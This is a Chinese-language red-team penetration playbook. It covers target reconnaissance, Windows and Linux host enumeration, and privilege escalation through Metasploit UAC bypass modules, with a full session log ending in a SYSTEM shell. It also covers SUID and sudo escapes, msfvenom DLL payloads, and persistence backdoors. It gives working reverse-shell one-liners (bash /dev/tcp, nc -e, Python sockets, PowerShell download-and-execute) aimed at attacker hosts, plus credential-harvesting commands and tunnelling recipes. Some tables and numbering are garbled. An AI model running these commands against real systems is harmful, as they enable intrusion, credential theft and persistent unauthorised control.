收集的内容包括目标系统的组织架构、IT资产、敏感信息泄露、供应商信息等各个方面,通过对收集的信息进行梳理,定位到安全薄弱点,从而实施下一步的攻击行为。
1.备案查询
2.FOFA、Google查询:直接输入公司名称、主域名等进行搜索
domain="xxxx.com"
header="xxxx.com"
cert="xxxx.com"
host="xxxx.com"
body="xxxx.com"
3.证书查询
4.使用浏览器查询
点击小锁–安全连接–更多信息–查看证书(有些可能没有),可以得到一些主域名以及子域名。
5.dns查询
用dnsdumpster.com查询是否存在自建NS服务器,再将ns名带入https://hackertarget.com/find-shared-dns-servers/进行查询,可以获得一批主域名:
6.whois查询
通过查询目标的WHOIS信息,对联系人、联系邮箱等信息进行反查以及查看whois历史信息,获取更多相关的域名信息;微步在线也可以根据IP、邮箱等查询历史域名。
7.通过众测平台查询资产范围,在众测平台上有些厂商会把资产范围放出来。
8.通过主域名对子域名进行搜索,可使用工具、搜索引擎等。
* OneForAll:集成多种方式搜集子域名,包括dns查询、证书查询等;
* Amass:kali自带,集成多种收集方式,强烈推荐;
* [https://crt.sh/](https://crt.sh/):通过证书查找子域名和指纹识别;
* [https://dnsdumpster.com](https://dnsdumpster.com):是一个在线实用程序,可以查找子域、目标的DNS记录。
9.直接访问收集到的主域名,对网页上指向的域名链接进行收集(可能会放一些OA等办公系统的跳转)。
10.枚举域名
https://github.com/infosec-au/altdns, Altdns是一个DNS侦察工具,允许发现符合模式的子域。Altdns接收可能出现在域下的子域中的单词(如 test、dev、staging),并接收您知道的子域列表。
11.收集应用资产
11.1 天眼查、企查查
11.2 微信APP搜索(小程序、公众号)
11.3 支付宝搜索(小程序、公众号)
11.4 工具ENScan(可查询企业APP信息、微信公众号信息、供应商信息等)
11.5 APP 查找应用商店、豌豆荚(可下载历史app)
11.6 PC可通过官网进行查找下载
12.根据前几种方式获取相关IP,然后探测可能存在的C段,可获取一些没有相关联信息的隐藏资产,再通过IP反查域名(https://github.com/Sma11New/ip2domain)
1.真实IP查找
CDN判断:
3.对上面域名解析获得的单个IP输入查询框,会有一个IP范围
4.使用FOFA等互联网资产收集工具直接搜索公司名称
5.C段扫描
1.利用Google
GitHub常用语法:
3.目录扫描
在找到薄弱点后,红队会尝试利用漏洞或社工等方法去获取外网系统控制权限。在这个过程中,红队成员往往会使用最少流量动作去尝试突破边界防御,找到与内网连接的通道,这种由外到内的过程一般称之为纵向渗透,当初步获得权限后,若权限不够会进行提权,在进行稳固权限、建立隧道;
常见打点思路:
1.本机信息收集(涉及判断:我是谁?我在哪?这是哪?)
ipconfig /all --网卡配置
systeminfo --系统补丁信息等
echo %PROCESSOR_ARCHITECTURE% --系统体系结构
wmic product get name,version --安装软件、版本、路径
wmic service list brief --查询本机服务信息
tasklist -svc --进程查看
schtasks /query /fo list /v --任务计划查询
net statistics workstation --开机时间
net user --查看用户
whoami /all --SID等用户信息
net localgroup administrators --查看管理员组中的用户
net session --会话查看
netstat -ano --网络连接以及通过端口判断服务
net share --共享
route print --路由信息
arp -a --arp信息
cmdkey /l --登录历史
hosts文件 Linux:/etc/hosts Windows:c:\Windows\system32\drivers\etc\hosts
ipconfig /displaydns --dns缓存
net view --查看共享
dir /s /b "pass" "user" "config" "username." "password." --命令行查找敏感文件
findstr /s /m "password" *.* --寻找包含密码字段的文件,如数据库密码文件
net user /domain --查看域用户
net time /domain --查看时间服务器(可能为DC)
net group "domain admins" /domain --查看域管理员
net group "domaincontrollers" /domain --查看域控制器
2.常见默认配置文件位置
* Tomcat:CATALINA_HOME/conf/tomcat-users.xml;
* Apache:/etc/httpd/conf/httpd.conf;
* Nginx:/etc/nginx/nginx.conf;
* Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf;
* Mysql:mysql\data\mysql\user.MYD。
3.SPN
SPN:服务主体名称,使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务。
setspn -T domain.com -Q */*
4.会话、连接收集
net session //需要管理员权限,列出或断开本地计算机和与之连接的客户端的会话
Navicat //注册表HKEY_CURRENT_USER\SOFTWARE\PremiumSoft
xshell //连接记录,可能回存在使用ssh key登录的主机
5.浏览器下载记录、书签、浏览历史以及浏览器保存的密码等
github:https://github.com/djhohnstein/SharpChromium //cookie,passwd,history查看
6.WIFI密码
cmd:
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
7.任务计划(有些任务执行时需要将用户名和密码一起附上)、远程桌面连接记录等
1.系统版本信息
uname -a
hostnamectl
2.系统环境变量
cat /etc/profile
cat /etc/bashrc
cat .bash_profile
cat .bashrc
cat .bash_logout
env
set
3.服务、网络连接以及进程
ps -aux //进程
top
cat /etc/services
systemctl status ssh //查看某个服务是否在运行
chkconfig --list //查看所有的服务状态
netstat -aunplt //网络连接
arp -e
route
4.查看安装程序
rpm -qa
yum list installed
5.常见配置、敏感文件
find / -name *.conf
cat /etc/my.conf //mysql数据库
cat /etc/httpd/conf/httpd.conf //apache
tomcat-users.xml //tomcat
/etc/samba/smb.conf //samba
cat /etc/resolv.conf //DNS域名解析
cat /etc/sysconfig/network
cat /etc/hosts
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
/etc/sysconfig/iptables //iptables规则
6.查看任务计划
crontab -l //查看任务计划,有部分恶意任务计划需要crontab -e 编辑才能看到
查看anacron异步定时任务:cat/etc/anacrontab
cat /var/log/cron 查看任务计划日志
cat /etc/crontab
cat /etc/cron.d/
cat /etc/cron.daily/
cat /etc/cron.hourly/
cat /etc/cron.weekly/
cat /etc/cron.monthly/
cat /var/spool/cron/
service cron status #通过任务计划执行的服务
7.可能有哪些纯文本用户名和密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
8.用户信息
cat /etc/passwd
cat /etc/shadow
ls /home //家目录
last //登录成功用户
w
cat /etc/sudoers
ls -alh /var/mail/
9.历史记录
history
cat /root/.viminfo //vim使用记录
cat .bash_history
cat .nano_history
cat .atftp_history
cat .mysql_history
cat .php_history
cat .python_history
1.基本概念
Windows常见权限分类:
* User:普通用户权限;
* Administrator:管理员权限;
* System:系统权限。
Linux权限分类:
* User:普通用户权限;
* www-data:Web服务的权限,比User还要低,一般通过Web漏洞获取的Webshell就是这个权限;
* root:Linux系统最高权限。
通常有两种提权方式,纵向提权及横向提权;纵向提权指的是低权限角色获取高权限角色的权限、横向提权指在系统A中获取了系统B中同级别的角色权限。常用提权方法有系统内核溢出漏洞提权、服务器中间件漏洞提权、数据库提权、其它第三方组件提权。
2.Windows提权
2.1 提权辅助脚本
http://bugs.hacking8.com/tiquan/```将systeminfo输出的修补程序信息填入查询可利用的漏洞,查出漏洞后可在https://github.com/SecWiki/windows-kernel-exploits/查找下载利用程序进行提权;
2.2 msf提权
2.2.1 使用getsystem(权限为Administrator时大概率会成功,其他可能需要绕UAC)
①进程注入方式UAC
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem
②内存注入
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem
③Eventvwr注册表项
use exploit/windows/local/bypassuac_eventvwr
④COM处理程序劫持
use exploit/windows/local/bypassuac_comhijack
2.2.2 会话派发到msf使用suggester辅助脚本提权
meterpreter > getuid //查看权限
Server username: HACK\testuser
meterpreter > background //当前激活的shell切换到后台
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > search suggester //查找辅助提权模块
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---
- ----
----
----
--
- ---
- ----
- ----
----
---
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
msf5 exploit(multi/handler) > use 0
msf5 post(multi/recon/local_exploit_suggester) > sessions //查看会话
Active sessions
===============
Id Name Type Information Connection
-
- ---
- ---
- ----
----
--
- ----
----
--
1 meterpreter x86/windows HACK\testuser @ WIN-1EVLV0JUJD6 192.168.43.6:8866 -> 192.168.43.87:49394 (192.168.43.87)
msf5 post(multi/recon/local_exploit_suggester) > set session 1 //设置会话
session => 1
msf5 post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.43.87
- Collecting local exploits for x86/windows...
[*] 192.168.43.87
- 30 exploit checks are being tried...
[+] 192.168.43.87
- exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.43.87
- exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.43.87
- exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.43.87
- exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87
- exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87
- exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.43.87
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 192.168.43.87
- exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
//以上为查找出来的可利用的漏洞
msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc //选择上面的任意一个漏洞模块进入
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options //查看需要设置的参数
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---
- ----
----
----
--
- ----
---
- ----
----
---
SESSION yes The session to run this module on.
Exploit target:
Id Name
-
- ----
0 Windows x86
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 1
session => 1
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit
[*] Started reverse TCP handler on 192.168.43.6:4444
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1...
[*] Compressing script contents...
[+] Compressed size: 3596
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___ [*] Sending stage (180291 bytes) to 192.168.43.87
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 4
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1212
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1208
[+] Resuming thread..
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
mzCdEBgemRgjV7PHoMA8c4KLG2nLKesP
[+] Executed on target machine.
[*] Meterpreter session 2 opened (192.168.43.6:4444 -> 192.168.43.87:49513) at 2022-06-01 09:30:28 +0800
[+] Deleted C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1
meterpreter > getuid //再次查看权限已为system
Server username: NT AUTHORITY\SYSTEM
meterpreter >
其他提权模块:
exploit/windows/local/unquoted_service_path
set session 1
Exploit -j
use exploit/windows/local/service_permissions
set sessions 1
run
use exploit/windows/local/always_install_elevated
set sessions 1
run
2.3 提权
适用版本:Windows 7、8、10、2008、2012
SweetPotato.exe -a whoami
2.4 DLL劫持提权
使用msf生成一个DLL,替换掉应用的dll,等待应用重启(需要提前在本地测试)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f dll
3.Linux提权
3.1 内核溢出提权
sudo --version //查看版本
sudo -l //查看当前用户可以使用的sudo的命令程序
常规提权:(需要当前用户密码,如果管理员在/etc/sudoers配置了某些命令免密码使用,则可以利用该命令进行提权) 利用find
sudo find . -exec /bin/sh \; -quit或者sudo awk 'BEGIN {system("/bin/sh")}'
python命令提权sudo python -c 'import pty;pty.spawn("/bin/bash")'其他漏洞CVE-2019-14287、CVE-2021-3156
3.3 suid提权
① 查找具有suid权限文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
执行命令:
find filename -exec whoami \; //以SUID即root权限执行命令
如果是/usr/bin/bash执行bash -p //将以root权限打开一个bash shell
② nmap(旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令)
nmap -v //查看版本
root@localhost:~# nmap --interactive //交互模式
nmap> !sh
root@localhost:~# whoami
root
③ vim Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。
vim.tiny /etc/shadow //读取文件
vim来打开shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
3.4 su
sudo su
- #使用root用户登录,不用输入root密码即可切换
利用python获取交互Shell
python -c 'import pty;pty.spawn("/bin/sh")'
sudo su
3.5 任务计划
ls -l /etc/cron*
cat /etc/crontab
在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升; 如权限配置不当777的执行脚本,则可以修改脚本内容进行提权;
1.反弹shell
nc
attackhost:nc -lvp 9999
target:/bin/bash -i &> /dev/tcp/192.168.0.198/9999 <&1
netcat
nc -e /bin/bash 192.168.0.198 9999
powershell
将ps1放到attackhost上
powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/Backdoor.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.1 -port 9999
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.webshell
① 内存马隐藏 ② 通过attrib隐藏文件,在使用ADS流隐藏webshell需要和文件包含配合
3.系统后门
Windows ① 利用任务计划定时反弹会话 ② 利用开机启动项 ③ 影子账户以及guest账户 ④ 注册表 ⑤ 系统工具后门(shift后门) ⑥ WMI后门 ⑦ DLL劫持 ⑧ 进程注入 Linux ① ssh、openssh后门 ② 任务计划 ③ VIM后门 ④ 添加超级用户 ⑤ SUID后门 ⑥ 利用自启动程序 ⑦ rootkit后门
4.利用IIS等服务制作后门维持权限
常用隧道建立工具
4.1 探测是否出网
4.2.2 IPv6隧道
kali自带,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。
使用:
首先开启目标机上的IPV6,ipconfig查看ipv6地址 kali:6tunnel -4 80 targetipv6IP 80 #这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口上(本机使用IPV4地址)转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务;
4.3 传输层常用隧道
4.3.1 IOX
github:https://github.com/EddieIvan01/iox
使用,比如我们将内网的3389端口转发到我们的attackhost:
target:./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565 #-k启用加密
vps:./iox fwd -l *8888 -l 33890 -k 656565
socks代理
修改/etc/proxychains.conf
在本地0.0.0.0:1080启动Socks5服务
./iox proxy -l 1080
在被控机开启Socks5服务,将服务转发到公网attackhost
在attackhost上转发0.0.0.0:9999到0.0.0.0:1080
你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的
接着连接内网主机
# proxychains.conf
# socks5://1.1.1.1:1080
$ proxychains rdesktop 192.168.0.100:3389
4.4 应用层常用隧道
4.4.1 SSH
SSH常用参数:
-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口
4.4.2 本地端口转发
//攻击机:192.168.1.1 web服务器:192.168.1.2 数据库服务器:192.168.1.3,攻击机无法访问数据库服务器,但可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问的场景 攻击机执行:ssh -fCNg -L 2022:192.168.1.1:3389 root@192.168.1.2 -p 22 //攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机,此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面
4.4.3 远程转发
//攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机,通过访问攻击机本机的2022端口来访问数据库服务器的3389端口 在web服务器上执行:ssh -CfNg -R 2022:192.168.1.3:3389 root@192.168.1.1 此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面
4.4.4 动态转发
① 攻击机执行:ssh -CfNg -D 2022 root@192.168.1.2 ② 本地设置socks代理后即可访问数据库服务器
4.6 DNS(iodine) 要使用此隧道,您需要一个真实的域名(如mydomain.com),以及一个具有公共 IP 地址的服务器以在其上运行iodined;
通常进入内网后,同样会进行内网信息收集、域内信息收集,在通过收集的信息进行内网漫游横向渗透扩大战果,在内网漫游过程中,会重点关注邮件服务器权限、OA系统权限、版本控制服务器权限、集中运维管理平台权限、统一认证系统权限、域控权限等位置,尝试突破核心系统权限、控制核心业务、获取核心数据,最终完成目标突破工作。
1.ICMP
Windows:
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
C:\Users\test>for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
来自 192.168.1.1 的回复: 字节=32 时间=2ms TTL=254
来自 192.168.1.3 的回复: 字节=32 时间=127ms TTL=64
来自 192.168.1.5 的回复: 字节=32 时间=14ms TTL=64
Linux:
for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
root@localhost:~# for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
192.168.1.1
192.168.1.3
192.168.1.5
4.nmap
ARP 扫描: nmap -PR -sn 192.168.1.0/24
ICMP 扫描: nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
SNMP 扫描: nmap -sU --script snmp-brute 192.168.1.0/24 -T4
UDP 扫描: nmap -sU -T5 -sV --max-retries 1 192.168.1.1 -p 500
NetBIOS 扫描: nmap --script nbstat.nse -sU -p137 192.168.1.0/24 -T4
1.单个端口探测
telnet
E:\ipscan>telnet 10.10.25.176 80
正在连接10.10.25.176...无法打开到主机的连接。 在端口 80: 连接失败
NC
root@localhost:~# nc -vv 10.10.12.162 22
Connection to 10.10.12.162 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
2.多个端口探测
fscan https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 -p 1-65535
通过代理后使用nmap、msf进行扫描
?